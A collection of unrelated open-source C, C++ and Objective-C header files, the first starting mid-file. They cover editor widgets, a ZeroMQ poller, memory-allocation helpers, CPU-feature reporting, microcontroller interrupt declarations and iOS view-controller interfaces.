paintEvent(QPaintEvent *event); virtual int idealWidth() const; }; class AeslBreakpointSidebar : public AeslEditorSidebar { Q_OBJECT public: AeslBreakpointSidebar(AeslEditor* editor); protected: virtual void paintEvent(QPaintEvent *event); virtual void mousePressEvent(QMouseEvent *event); virtual int idealWidth() const; protected: const int borderSize; }; enum LocalContext { UnknownContext, VarDefContext, LeftValueContext, FunctionContext, SubroutineCallContext, EventContext, GeneralContext }; class AeslEditor : public QTextEdit { Q_OBJECT signals: void breakpointSet(unsigned line); void breakpointCleared(unsigned line); void breakpointClearedAll(); void refreshModelRequest(LocalContext context); public: AeslEditor(); virtual ~AeslEditor() { } virtual void contextMenuEvent ( QContextMenuEvent * e ); bool isBreakpoint(); // apply to the current line bool isBreakpoint(QTextBlock block); bool isBreakpoint(int line); void toggleBreakpoint(); // apply to the current line void toggleBreakpoint(QTextBlock block); void setBreakpoint(); // apply to the current line void setBreakpoint(QTextBlock block); void clearBreakpoint(); // apply to the current line void clearBreakpoint(QTextBlock block); void clearAllBreakpoints(); void setCompleterModel(QAbstractItemModel* model); enum CommentOperation { CommentSelection, UncommentSelection }; void commentAndUncommentSelection(CommentOperation commentOperation); void replaceAndHighlightCode(const QList<QString>& code, int elementToHighlight); public: bool debugging; protected slots: void insertCompletion(const QString &completion); protected: virtual void wheelEvent(QWheelEvent * event); virtual void keyPressEvent(QKeyEvent * event); virtual bool handleCompleter(QKeyEvent * event); virtual bool handleTab(QKeyEvent * event); virtual bool handleNewLine(QKeyEvent * event); virtual void detectLocalContextChange(QKeyEvent * event); virtual void doCompletion(QKeyEvent * event); QString textUnderCursor() const; QString previousWord() const; QString currentLine() const; protected: QCompleter *completer; const QRegExp vardefRegexp; const QRegExp constdefRegexp; const QRegExp leftValueRegexp; LocalContext previousContext; bool editingLeftValue; }; /*@}*/ } // namespace Aseba #endif
/******************************************************************************** * Copyright (C) 2014 GSI Helmholtzzentrum fuer Schwerionenforschung GmbH * * * * This software is distributed under the terms of the * * GNU Lesser General Public Licence version 3 (LGPL) version 3, * * copied verbatim in the file "LICENSE" * ********************************************************************************/ /** * FairMQPollerZMQ.h * * @since 2014-01-23 * @author A. Rybalchenko */ #ifndef FAIRMQPOLLERZMQ_H_ #define FAIRMQPOLLERZMQ_H_ #include <vector> #include <unordered_map> #include <initializer_list> #include "FairMQPoller.h" #include "FairMQChannel.h" #include "FairMQTransportFactoryZMQ.h" class FairMQChannel; class FairMQPollerZMQ : public FairMQPoller { friend class FairMQChannel; friend class FairMQTransportFactoryZMQ; public: FairMQPollerZMQ(const std::vector<FairMQChannel>& channels); FairMQPollerZMQ(std::unordered_map<std::string, std::vector<FairMQChannel>>& channelsMap, std::initializer_list<std::string> channelList); virtual void Poll(const int timeout); virtual bool CheckInput(const int index); virtual bool CheckOutput(const int index); virtual bool CheckInput(const std::string channelKey, const int index); virtual bool CheckOutput(const std::string channelKey, const int index); virtual ~FairMQPollerZMQ(); private: FairMQPollerZMQ(FairMQSocket& cmdSocket, FairMQSocket& dataSocket); zmq_pollitem_t* items; int fNumItems; std::unordered_map<std::string,int> fOffsetMap; /// Copy Constructor FairMQPollerZMQ(const FairMQPollerZMQ&); FairMQPollerZMQ operator=(const FairMQPollerZMQ&); }; #endif /* FAIRMQPOLLERZMQ_H_ */
// // Generated by the J2ObjC translator. DO NOT EDIT! // source: src/main/java/org/mockito/internal/creation/MockSettingsImpl.java // #ifndef _OrgMockitoInternalCreationMockSettingsImpl_H_ #define _OrgMockitoInternalCreationMockSettingsImpl_H_ @class IOSClass; @class IOSObjectArray; @protocol JavaUtilList; @protocol JavaUtilSet; @protocol OrgMockitoMockMockName; @protocol OrgMockitoStubbingAnswer; #include "J2ObjC_header.h" #include "org/mockito/MockSettings.h" #include "org/mockito/internal/creation/settings/CreationSettings.h" #include "org/mockito/mock/MockCreationSettings.h" #define OrgMockitoInternalCreationMockSettingsImpl_serialVersionUID 4475297236197939568LL @interface OrgMockitoInternalCreationMockSettingsImpl : OrgMockitoInternalCreationSettingsCreationSettings < OrgMockitoMockSettings, OrgMockitoMockMockCreationSettings > { } - (id<OrgMockitoMockSettings>)serializable; - (id<OrgMockitoMockSettings>)extraInterfacesWithIOSClassArray:(IOSObjectArray *)extraInterfaces; - (id<OrgMockitoMockMockName>)getMockName; - (id<JavaUtilSet>)getExtraInterfaces; - (id)getSpiedInstance; - (id<OrgMockitoMockSettings>)nameWithNSString:(NSString *)name; - (id<OrgMockitoMockSettings>)spiedInstanceWithId:(id)spiedInstance; - (id<OrgMockitoMockSettings>)defaultAnswerWithOrgMockitoStubbingAnswer:(id<OrgMockitoStubbingAnswer>)defaultAnswer; - (id<OrgMockitoStubbingAnswer>)getDefaultAnswer; - (jboolean)isSerializable; - (id<OrgMockitoMockSettings>)verboseLogging; - (id<OrgMockitoMockSettings>)invocationListenersWithOrgMockitoListenersInvocationListenerArray:(IOSObjectArray *)listeners; - (id<JavaUtilList>)getInvocationListeners; - (jboolean)hasInvocationListeners; - (IOSClass *)getTypeToMock; - (id<OrgMockitoMockMockCreationSettings>)confirmWithIOSClass:(IOSClass *)typeToMock; - (instancetype)init; @end J2OBJC_EMPTY_STATIC_INIT(OrgMockitoInternalCreationMockSettingsImpl) CF_EXTERN_C_BEGIN J2OBJC_STATIC_FIELD_GETTER(OrgMockitoInternalCreationMockSettingsImpl, serialVersionUID, jlong) CF_EXTERN_C_END J2OBJC_TYPE_LITERAL_HEADER(OrgMockitoInternalCreationMockSettingsImpl) #endif // _OrgMockitoInternalCreationMockSettingsImpl_H_
/* ============================================================================ Name : QCircle.h Author : 腾讯SOSO地图 Version : 1.0 Copyright : 腾讯 Description : QCircle declaration ============================================================================ */ #import "QShape.h" #import "QOverlay.h" /** *QCircle:定义一个圆 *Author:ksnowlv **/ @interface QCircle : QShape <QOverlay>{ @package CLLocationCoordinate2D _coordinate; double _radius; QMapRect _boundingMapRect; } /** *根据中心点和半径生成圆 *@param coord 中心点的经纬度坐标 *@param radius 半径,单位:米 *@return 新生成的圆 */ + (QCircle *)circleWithCenterCoordinate:(CLLocationCoordinate2D)coord radius:(double)radius; /** *根据指定的直角坐标矩形生成圆,半径由较长的那条边决定,radius = MAX(width, height)/2 *@param mapRect 指定的直角坐标矩形 *@return 新生成的圆 */ + (QCircle *)circleWithMapRect:(QMapRect)mapRect; /** *中心点坐标 ****/ @property (nonatomic, readonly) CLLocationCoordinate2D coordinate; /***半径,单位:米****/ @property (nonatomic, readonly) double radius; /**该圆的外接矩形**/ @property (nonatomic, readonly) QMapRect boundingMapRect; @end
/** ****************************************************************************** * @file TIM/TIM_InputCapture/Inc/stm32f1xx_it.h * @author MCD Application Team * @version V1.3.0 * @date 18-December-2015 * @brief This file contains the headers of the interrupt handlers. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2015 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __STM32F1xx_IT_H #define __STM32F1xx_IT_H #ifdef __cplusplus extern "C" { #endif /* Includes ------------------------------------------------------------------*/ /* Exported types ------------------------------------------------------------*/ /* Exported constants --------------------------------------------------------*/ /* Exported macro ------------------------------------------------------------*/ /* Exported functions ------------------------------------------------------- */ void NMI_Handler(void); void HardFault_Handler(void); void MemManage_Handler(void); void BusFault_Handler(void); void UsageFault_Handler(void); void SVC_Handler(void); void DebugMon_Handler(void); void PendSV_Handler(void); void SysTick_Handler(void); void TIMx_IRQHandler(void); #ifdef __cplusplus } #endif #endif /* __STM32F1xx_IT_H */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
/* vim:set ts=4 sw=4 et cindent: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef nsAuthSASL_h__ #define nsAuthSASL_h__ #include "nsIAuthModule.h" #include "nsString.h" #include "nsCOMPtr.h" #include "mozilla/Attributes.h" /* This class is implemented using the nsAuthGSSAPI class, and the same * thread safety constraints which are documented in nsAuthGSSAPI.h * apply to this class */ class nsAuthSASL MOZ_FINAL : public nsIAuthModule { public: NS_DECL_ISUPPORTS NS_DECL_NSIAUTHMODULE nsAuthSASL(); private: ~nsAuthSASL() { Reset(); } void Reset(); nsCOMPtr<nsIAuthModule> mInnerModule; nsString mUsername; bool mSASLReady; }; #endif /* nsAuthSASL_h__ */
/* $NetBSD: arith.h,v 1.1 2014/08/10 05:47:36 matt Exp $ */ #ifdef __AARCH64EB__ #define IEEE_BIG_ENDIAN #else #define IEEE_LITTLE_ENDIAN #endif
/*! @file short_time_msn.h * @brief New file description. * @author Markovtsev Vadim <v.markovtsev@samsung.com> * @version 1.0 * * @section Notes * This code partially conforms to <a href="http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml">Google C++ Style Guide</a>. * * @section Copyright * Copyright © 2013 Samsung R&D Institute Russia * * @section License * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ #ifndef SRC_TRANSFORMS_SHORT_TIME_MSN_H_ #define SRC_TRANSFORMS_SHORT_TIME_MSN_H_ #include "src/formats/array_format.h" #include "src/transform_base.h" namespace sound_feature_extraction { namespace transforms { class ShortTimeMeanScaleNormalization : public UniformFormatTransform<formats::ArrayFormatF> { public: ShortTimeMeanScaleNormalization(); TRANSFORM_INTRO("STMSN", "Calculate short-time mean and scale normalized " "values, that is," "$stmsn_n[i] = \frac{w_n[i] - " "\\sum_{k=n-L/2}^{n+L/2}{w_k[i]}}" "{\\max_{k=n-L/2}^{n+L/2}{w_k[i]} -" "\\min_{k=n-L/2}^{n+L/2}{w_k[i]}}$.", ShortTimeMeanScaleNormalization) TP(length, int, kDefaultLength, "The amount of local values to average.") protected: virtual void Do(const BuffersBase<float*>& in, BuffersBase<float*>* out) const noexcept override; static constexpr int kDefaultLength = 300; }; } // namespace transforms } // namespace sound_feature_extraction #endif // SRC_TRANSFORMS_SHORT_TIME_MSN_H_
/* Open Sensor Platform Project * https://github.com/sensorplatforms/open-sensor-platform * * Copyright (C) 2013 Sensor Platforms Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #if !defined (ACC_BMC150_I2C_H) #define ACC_BMC150_I2C_H /*-------------------------------------------------------------------------------------------------*\ | I N C L U D E F I L E S \*-------------------------------------------------------------------------------------------------*/ #include "bma2x2.h" #include "bosch_i2c_adapter.h" /*-------------------------------------------------------------------------------------------------*\ | C O N S T A N T S & M A C R O S \*-------------------------------------------------------------------------------------------------*/ /*-------------------------------------------------------------------------------------------------*\ | T Y P E D E F I N I T I O N S \*-------------------------------------------------------------------------------------------------*/ /*-------------------------------------------------------------------------------------------------*\ | E X T E R N A L V A R I A B L E S & F U N C T I O N S \*-------------------------------------------------------------------------------------------------*/ /*-------------------------------------------------------------------------------------------------*\ | P U B L I C V A R I A B L E S D E F I N I T I O N S \*-------------------------------------------------------------------------------------------------*/ /*-------------------------------------------------------------------------------------------------*\ | P U B L I C F U N C T I O N D E C L A R A T I O N S \*-------------------------------------------------------------------------------------------------*/ #endif /* ACC_BMC150_I2C_H */ /*-------------------------------------------------------------------------------------------------*\ | E N D O F F I L E \*-------------------------------------------------------------------------------------------------*/
volatile int x, y; __attribute__((constructor)) void init_x() { x = 14; } __attribute__((constructor)) void init_y() { y = 144; } int main() { return x + y; }
// // LeaderboardViewController.h // TicTacToeLeaderboard // // Created by Chris Risner on 1/21/13. // Copyright (c) 2013 Microsoft. All rights reserved. // #import <UIKit/UIKit.h> @interface LeaderboardViewController : UITableViewController - (void) refreshData; @property (weak, nonatomic) IBOutlet UIView *viewHeader; @end
/* * Copyright (C) 2014-2016 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef VMAllocate_h #define VMAllocate_h #include "BAssert.h" #include "Logging.h" #include "Range.h" #include "Sizes.h" #include "Syscall.h" #include <algorithm> #include <sys/mman.h> #include <unistd.h> #if BOS(DARWIN) #include <mach/vm_page_size.h> #include <mach/vm_statistics.h> #endif namespace bmalloc { #if BOS(DARWIN) #define BMALLOC_VM_TAG VM_MAKE_TAG(VM_MEMORY_TCMALLOC) #else #define BMALLOC_VM_TAG -1 #endif inline size_t vmPageSize() { static size_t cached; if (!cached) cached = sysconf(_SC_PAGESIZE); return cached; } inline size_t vmPageShift() { static size_t cached; if (!cached) cached = log2(vmPageSize()); return cached; } inline size_t vmSize(size_t size) { return roundUpToMultipleOf(vmPageSize(), size); } inline void vmValidate(size_t vmSize) { UNUSED(vmSize); BASSERT(vmSize); BASSERT(vmSize == roundUpToMultipleOf(vmPageSize(), vmSize)); } inline void vmValidate(void* p, size_t vmSize) { vmValidate(vmSize); UNUSED(p); BASSERT(p); BASSERT(p == mask(p, ~(vmPageSize() - 1))); } inline size_t vmPageSizePhysical() { #if (BPLATFORM(IOS) && __IPHONE_OS_VERSION_MIN_REQUIRED >= 100000) return vm_kernel_page_size; #else static size_t cached; if (!cached) cached = sysconf(_SC_PAGESIZE); return cached; #endif } inline void vmValidatePhysical(size_t vmSize) { UNUSED(vmSize); BASSERT(vmSize); BASSERT(vmSize == roundUpToMultipleOf(vmPageSizePhysical(), vmSize)); } inline void vmValidatePhysical(void* p, size_t vmSize) { vmValidatePhysical(vmSize); UNUSED(p); BASSERT(p); BASSERT(p == mask(p, ~(vmPageSizePhysical() - 1))); } inline void* tryVMAllocate(size_t vmSize) { vmValidate(vmSize); void* result = mmap(0, vmSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_POPULATE, BMALLOC_VM_TAG, 0); if (result == MAP_FAILED) { logVMFailure(); return nullptr; } return result; } inline void* vmAllocate(size_t vmSize) { void* result = tryVMAllocate(vmSize); RELEASE_BASSERT(result); return result; } inline void vmDeallocate(void* p, size_t vmSize) { vmValidate(p, vmSize); munmap(p, vmSize); } inline void vmRevokePermissions(void* p, size_t vmSize) { vmValidate(p, vmSize); mprotect(p, vmSize, PROT_NONE); } // Allocates vmSize bytes at a specified power-of-two alignment. // Use this function to create maskable memory regions. inline void* tryVMAllocate(size_t vmAlignment, size_t vmSize) { vmValidate(vmSize); vmValidate(vmAlignment); size_t mappedSize = vmAlignment + vmSize; if (mappedSize < vmAlignment || mappedSize < vmSize) // Check for overflow return nullptr; char* mapped = static_cast<char*>(tryVMAllocate(mappedSize)); if (!mapped) return nullptr; char* mappedEnd = mapped + mappedSize; char* aligned = roundUpToMultipleOf(vmAlignment, mapped); char* alignedEnd = aligned + vmSize; RELEASE_BASSERT(alignedEnd <= mappedEnd); if (size_t leftExtra = aligned - mapped) vmDeallocate(mapped, leftExtra); if (size_t rightExtra = mappedEnd - alignedEnd) vmDeallocate(alignedEnd, rightExtra); return aligned; } inline void* vmAllocate(size_t vmAlignment, size_t vmSize) { void* result = tryVMAllocate(vmAlignment, vmSize); RELEASE_BASSERT(result); return result; } inline void vmDeallocatePhysicalPages(void* p, size_t vmSize) { vmValidatePhysical(p, vmSize); #if BOS(DARWIN) SYSCALL(madvise(p, vmSize, MADV_FREE_REUSABLE)); #else SYSCALL(madvise(p, vmSize, MADV_DONTNEED)); #endif } inline void vmAllocatePhysicalPages(void* p, size_t vmSize) { vmValidatePhysical(p, vmSize); #if BOS(DARWIN) SYSCALL(madvise(p, vmSize, MADV_FREE_REUSE)); #else SYSCALL(madvise(p, vmSize, MADV_NORMAL)); #endif } // Trims requests that are un-page-aligned. inline void vmDeallocatePhysicalPagesSloppy(void* p, size_t size) { char* begin = roundUpToMultipleOf(vmPageSizePhysical(), static_cast<char*>(p)); char* end = roundDownToMultipleOf(vmPageSizePhysical(), static_cast<char*>(p) + size); if (begin >= end) return; vmDeallocatePhysicalPages(begin, end - begin); } // Expands requests that are un-page-aligned. inline void vmAllocatePhysicalPagesSloppy(void* p, size_t size) { char* begin = roundDownToMultipleOf(vmPageSizePhysical(), static_cast<char*>(p)); char* end = roundUpToMultipleOf(vmPageSizePhysical(), static_cast<char*>(p) + size); if (begin >= end) return; vmAllocatePhysicalPages(begin, end - begin); } } // namespace bmalloc #endif // VMAllocate_h
// // DemoViewController.h // Demo // // Created by Michael Markowski on 07.07.10. // Copyright Artifacts 2010. All rights reserved. // #import <UIKit/UIKit.h> #import "AFCache+Packaging.h" @interface PackagingDemoController : UIViewController <AFCacheableItemDelegate> { UITextView *textView; UIWebView *webView; UIImageView *imageView; } @property (nonatomic, retain) IBOutlet UITextView *textView; @property (nonatomic, retain) IBOutlet UIWebView *webView; @property (nonatomic, retain) IBOutlet UIImageView *imageView; - (void)loadContent; @end
/* * configreport.h * */ #ifndef INCLUDE_MISC_CONFIGREPORT_H_ #define INCLUDE_MISC_CONFIGREPORT_H_ #include <stddef.h> // for size_t #include <stdint.h> #include <stdio.h> #include <roaring/portability.h> #ifdef __cplusplus extern "C" { namespace roaring { namespace misc { #endif #ifdef CROARING_IS_X64 // useful for basic info (0) static inline void native_cpuid(unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx) { #ifdef ROARING_INLINE_ASM __asm volatile("cpuid" : "=a"(*eax), "=b"(*ebx), "=c"(*ecx), "=d"(*edx) : "0"(*eax), "2"(*ecx)); #endif /* not sure what to do when inline assembly is unavailable*/ } // CPUID instruction takes no parameters as CPUID implicitly uses the EAX // register. // The EAX register should be loaded with a value specifying what information to // return static inline void cpuinfo(int code, int *eax, int *ebx, int *ecx, int *edx) { #ifdef ROARING_INLINE_ASM __asm__ volatile("cpuid;" // call cpuid instruction : "=a"(*eax), "=b"(*ebx), "=c"(*ecx), "=d"(*edx) // output equal to "movl %%eax %1" : "a"(code) // input equal to "movl %1, %%eax" //:"%eax","%ebx","%ecx","%edx"// clobbered register ); #endif /* not sure what to do when inline assembly is unavailable*/ } static inline int computecacheline() { int eax = 0, ebx = 0, ecx = 0, edx = 0; cpuinfo((int)0x80000006, &eax, &ebx, &ecx, &edx); return ecx & 0xFF; } // this is quite imperfect, but can be handy static inline const char *guessprocessor() { unsigned eax = 1, ebx = 0, ecx = 0, edx = 0; native_cpuid(&eax, &ebx, &ecx, &edx); const char *codename; switch (eax >> 4) { case 0x506E: codename = "Skylake"; break; case 0x406C: codename = "CherryTrail"; break; case 0x306D: codename = "Broadwell"; break; case 0x306C: codename = "Haswell"; break; case 0x306A: codename = "IvyBridge"; break; case 0x206A: case 0x206D: codename = "SandyBridge"; break; case 0x2065: case 0x206C: case 0x206F: codename = "Westmere"; break; case 0x106E: case 0x106A: case 0x206E: codename = "Nehalem"; break; case 0x1067: case 0x106D: codename = "Penryn"; break; case 0x006F: case 0x1066: codename = "Merom"; break; case 0x0066: codename = "Presler"; break; case 0x0063: case 0x0064: codename = "Prescott"; break; case 0x006D: codename = "Dothan"; break; case 0x0366: codename = "Cedarview"; break; case 0x0266: codename = "Lincroft"; break; case 0x016C: codename = "Pineview"; break; default: codename = "UNKNOWN"; break; } return codename; } static inline void tellmeall() { printf("x64 processor: %s\t", guessprocessor()); #ifdef __VERSION__ printf(" compiler version: %s\t", __VERSION__); #endif uint32_t config = croaring_detect_supported_architectures(); if((config & CROARING_NEON) == CROARING_NEON) { printf(" NEON detected\t"); } #ifdef __AVX2__ printf(" Building for AVX2\t"); #endif if(croaring_avx2()) { printf( "AVX2 usable\t"); } if((config & CROARING_AVX2) == CROARING_AVX2) { printf( "AVX2 detected\t"); if(!croaring_avx2()) { printf( "AVX2 not used\t"); } } if((config & CROARING_SSE42) == CROARING_SSE42) { printf(" SSE4.2 detected\t"); } if((config & CROARING_BMI1) == CROARING_BMI1) { printf(" BMI1 detected\t"); } if((config & CROARING_BMI2) == CROARING_BMI2) { printf(" BMI2 detected\t"); } printf("\n"); if ((sizeof(int) != 4) || (sizeof(long) != 8)) { printf("number of bytes: int = %lu long = %lu \n", (long unsigned int)sizeof(size_t), (long unsigned int)sizeof(int)); } #if __LITTLE_ENDIAN__ // This is what we expect! // printf("you have little endian machine"); #endif #if __BIG_ENDIAN__ printf("you have a big endian machine"); #endif #if __CHAR_BIT__ if (__CHAR_BIT__ != 8) printf("on your machine, chars don't have 8bits???"); #endif if (computecacheline() != 64) printf("cache line: %d bytes\n", computecacheline()); } #else static inline void tellmeall() { printf("Non-X64 processor\n"); #ifdef __arm__ printf("ARM processor detected\n"); #endif #ifdef __VERSION__ printf(" compiler version: %s\t", __VERSION__); #endif uint32_t config = croaring_detect_supported_architectures(); if((config & CROARING_NEON) == CROARING_NEON) { printf(" NEON detected\t"); } if((config & CROARING_ALTIVEC) == CROARING_ALTIVEC) { printf("Altivec detected\n"); } if ((sizeof(int) != 4) || (sizeof(long) != 8)) { printf("number of bytes: int = %lu long = %lu \n", (long unsigned int)sizeof(size_t), (long unsigned int)sizeof(int)); } #if __LITTLE_ENDIAN__ // This is what we expect! // printf("you have little endian machine"); #endif #if __BIG_ENDIAN__ printf("you have a big endian machine"); #endif #if __CHAR_BIT__ if (__CHAR_BIT__ != 8) printf("on your machine, chars don't have 8bits???"); #endif } #endif #ifdef __cplusplus } } } // extern "C" { namespace roaring { namespace misc { #endif #endif /* INCLUDE_MISC_CONFIGREPORT_H_ */
// // UzysAssetsPickerController_configuration.h // UzysAssetsPickerController // // Created by Uzysjung on 2014. 2. 12.. // Copyright (c) 2014년 Uzys. All rights reserved. // // 版权属于原作者 // http://code4app.com(cn) http://code4app.net(en) // 来源于最专业的源码分享网站: Code4App #import <MobileCoreServices/UTCoreTypes.h> #import <AssetsLibrary/AssetsLibrary.h> typedef void (^intBlock)(NSInteger); typedef void (^voidBlock)(void); #define kGroupViewCellIdentifier @"groupViewCellIdentifier" #define kAssetsViewCellIdentifier @"AssetsViewCellIdentifier" #define kAssetsSupplementaryViewIdentifier @"AssetsSupplementaryViewIdentifier" #define kThumbnailLength 78.0f #define kThumbnailSize CGSizeMake(kThumbnailLength, kThumbnailLength) #define kTagButtonClose 101 #define kTagButtonCamera 102 #define kTagButtonGroupPicker 103 #define kTagButtonDone 104 #define kTagNoAssetViewImageView 30 #define kTagNoAssetViewTitleLabel 31 #define kTagNoAssetViewMsgLabel 32 #define kGroupPickerViewCellLength 90
/** * Copyright (c) 2013 by Appcelerator, Inc. All Rights Reserved. * Licensed under the terms of the Apache Public License * Please see the LICENSE included with this distribution for details. * * This generated code and related technologies are covered by patents * or patents pending by Appcelerator, Inc. */ // WARNING: this file is generated and will be overwritten // Generated on Mon May 12 2014 10:36:48 GMT-0700 (PDT) // if you're checking out this file, you should check us out too. // http://jobs.appcelerator.com /** * JSC implementation for UIKit/UITableViewHeaderFooterView */ @import JavaScriptCore; @import UIKit; #import <hyperloop.h> #import <ti_coremotion_converters.h> @import Foundation; @import UIKit; // export typdefs we use typedef id (*Function_id__P__id__SEL______)(id,SEL,...); typedef void (^Block_void__B__BOOL_)(BOOL); typedef void (^Block_void__B__void_)(void); // export methods we use extern Block_void__B__BOOL_ HyperloopJSValueRefTovoid__B__BOOL_(JSContextRef,JSObjectRef,JSValueRef,JSValueRef*,bool*); extern Block_void__B__void_ HyperloopJSValueRefTovoid__B__void_(JSContextRef,JSObjectRef,JSValueRef,JSValueRef*,bool*); extern Class HyperloopJSValueRefToClass(JSContextRef,JSValueRef,JSValueRef*,bool*); extern JSValueRef HyperloopClassToJSValueRef(JSContextRef,Class); extern JSValueRef HyperloopNSArrayToJSValueRef(JSContextRef,NSArray *); extern JSValueRef HyperloopNSMethodSignatureToJSValueRef(JSContextRef,NSMethodSignature *); extern JSValueRef HyperloopNSSetToJSValueRef(JSContextRef,NSSet *); extern JSValueRef HyperloopNSStringToJSValueRef(JSContextRef,NSString *); extern JSValueRef HyperloopUIColorToJSValueRef(JSContextRef,UIColor *); extern JSValueRef HyperloopUILabelToJSValueRef(JSContextRef,UILabel *); extern JSValueRef HyperloopUITableViewHeaderFooterViewToJSValueRef(JSContextRef,UITableViewHeaderFooterView *); extern JSValueRef HyperloopUIViewToJSValueRef(JSContextRef,UIView *); extern JSValueRef HyperloopboolToJSValueRef(JSContextRef,bool); extern JSValueRef Hyperloopid__P__id__SEL______ToJSValueRef(JSContextRef,Function_id__P__id__SEL______); extern JSValueRef HyperloopintToJSValueRef(JSContextRef,int); extern NSArray * HyperloopJSValueRefToNSArray(JSContextRef,JSValueRef,JSValueRef*,bool*); extern NSDate * HyperloopJSValueRefToNSDate(JSContextRef,JSValueRef,JSValueRef*,bool*); extern NSString * HyperloopJSValueRefToNSString(JSContextRef,JSValueRef,JSValueRef*,bool*); extern SEL HyperloopJSValueRefToSEL(JSContextRef,JSValueRef,JSValueRef*,bool*); extern UIColor * HyperloopJSValueRefToUIColor(JSContextRef,JSValueRef,JSValueRef*,bool*); extern UISystemAnimation HyperloopJSValueRefToUISystemAnimation(JSContextRef,JSValueRef,JSValueRef*,bool*); extern UIView * HyperloopJSValueRefToUIView(JSContextRef,JSValueRef,JSValueRef*,bool*); extern UIViewAnimationCurve HyperloopJSValueRefToUIViewAnimationCurve(JSContextRef,JSValueRef,JSValueRef*,bool*); extern UIViewAnimationOptions HyperloopJSValueRefToUIViewAnimationOptions(JSContextRef,JSValueRef,JSValueRef*,bool*); extern UIViewAnimationTransition HyperloopJSValueRefToUIViewAnimationTransition(JSContextRef,JSValueRef,JSValueRef*,bool*); extern UIViewKeyframeAnimationOptions HyperloopJSValueRefToUIViewKeyframeAnimationOptions(JSContextRef,JSValueRef,JSValueRef*,bool*); extern bool HyperloopJSValueRefTobool(JSContextRef,JSValueRef,JSValueRef*,bool*); extern double HyperloopJSValueRefTodouble(JSContextRef,JSValueRef,JSValueRef*,bool*); extern float HyperloopJSValueRefTofloat(JSContextRef,JSValueRef,JSValueRef*,bool*); extern id HyperloopJSValueRefToid(JSContextRef,JSValueRef,JSValueRef*,bool*); extern int HyperloopJSValueRefToint(JSContextRef,JSValueRef,JSValueRef*,bool*); extern struct _NSZone * HyperloopJSValueRefTostruct__NSZone_P(JSContextRef,JSValueRef,JSValueRef*,bool*); extern void * HyperloopJSValueRefTovoid_P(JSContextRef,JSValueRef,JSValueRef*,bool*);
